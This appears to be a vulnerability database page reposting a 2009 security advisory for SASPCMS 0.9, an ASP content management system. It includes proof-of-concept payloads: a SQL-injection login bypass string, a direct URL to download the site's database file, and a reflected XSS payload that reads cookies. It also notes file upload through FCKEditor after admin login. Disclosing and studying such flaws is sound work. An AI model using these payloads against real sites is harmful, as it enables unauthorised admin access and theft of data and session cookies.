SASPCMS Multiple Vulnerabilities

QQ空间 新浪微博 微信 QQ facebook twitter
漏洞ID 1052071 漏洞类型
发布时间 2009-04-09 更新时间 2009-04-09
CVE编号 N/A CNNVD-ID N/A
漏洞平台 N/A CVSS评分 N/A
|漏洞来源
https://cxsecurity.com/issue/WLB-2009040025
|漏洞详情
漏洞细节尚未披露
|漏洞EXP
##########################www.BugReport.ir########################################
#
#        AmnPardaz Security Research Team
#
# Title:		SASPCMS Multiple Vulnerabilities
# Vendor:		http://www.lgasoft.com
# Vulnerable Version:	0.9 (prior versions also may be affected)
# Exploitation:		Remote with browser
# Fix:			N/A
###################################################################################

####################
- Description:
####################

SASPCMS is an ASP Content Management System . SASPCMS witch uses MSSQL  
& Microsoft Access as backend database.

####################
- Vulnerability:
####################

+-->Authentication Bypass

POC: ' or ''='
http://[URL]/saspcms/admin/default.asp


+-->Database Information Disclosure

POC: http://[URL]/saspcms/db/menu.mdb


+-->Cross Site Scripting (XSS). Reflected XSS attack in "default.asp"  
in "q" parameter.

POC:  
http://[URL]/saspcms/default.asp?q=<script>alert(document.cookie)</script>



####################
- PoC:
####################

It's possible for remote attackers to upload arbitrary files by using  
FCKEditor after login to admin area.

http://www.bugreport.ir/64/exploit.htm

####################
- Solution:
####################

Edit the source code to ensure that inputs are properly sanitized.


####################
- Credit:
####################
AmnPardaz Security Research & Penetration Testing Group
Contact: admin[4t}bugreport{d0t]ir
www.BugReport.ir
www.AmnPardaz.com